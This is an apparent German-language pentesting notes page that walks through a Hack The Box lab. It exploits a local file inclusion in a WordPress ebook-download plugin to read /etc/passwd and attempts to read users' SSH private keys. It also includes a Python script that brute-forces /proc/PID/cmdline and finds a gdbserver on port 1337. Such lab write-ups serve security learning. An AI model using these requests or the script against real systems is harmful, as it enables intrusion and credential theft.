> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# LFI Proc Logs

## LFI-Ausnutzung

**Sensible Dateien auflisten:** Systembenutzer über /etc/passwd auflisten:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="/files/a2ffa8b08f0b0f338cd70368398dcf6e50a27657" alt=""><figcaption></figcaption></figure>

Versuche, den privaten SSH-Schlüssel des Benutzers abzurufen `Benutzer`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

Diese Versuche scheitern wahrscheinlich aufgrund eingeschränkter Berechtigungen für diese Dateien.

<figure><img src="/files/27791f016ea4d4146eeab1944f1fc21f789a2686" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**Erkundung von /proc** Erstellung eines Python-Skripts zum Extrahieren von Prozessinformationen durch Erkundung `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] Beende.../n")
    sys.exit(1)
# LFI Proc-Logs
signal.signal(signal.SIGINT, def_handler)
# LFI Proc-Logs
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("Brute-Force-Angriff")
    p1.status("Starte Brute-Force-Angriff")
    sleep(2)
    for i in range(1, 1000):
        p1.status("Versuche mit Pfad /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("PFAD: /proc/%s/cmdline" % str(i))
            log.info("Gesamtlänge: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

Durch die Analyse der Prozesse wird Port 1337 als Server identifiziert **gdbserver**.

<figure><img src="/files/02b1b73ede149ce1d410fdabafbfb45d35a31d17" alt=""><figcaption></figcaption></figure>


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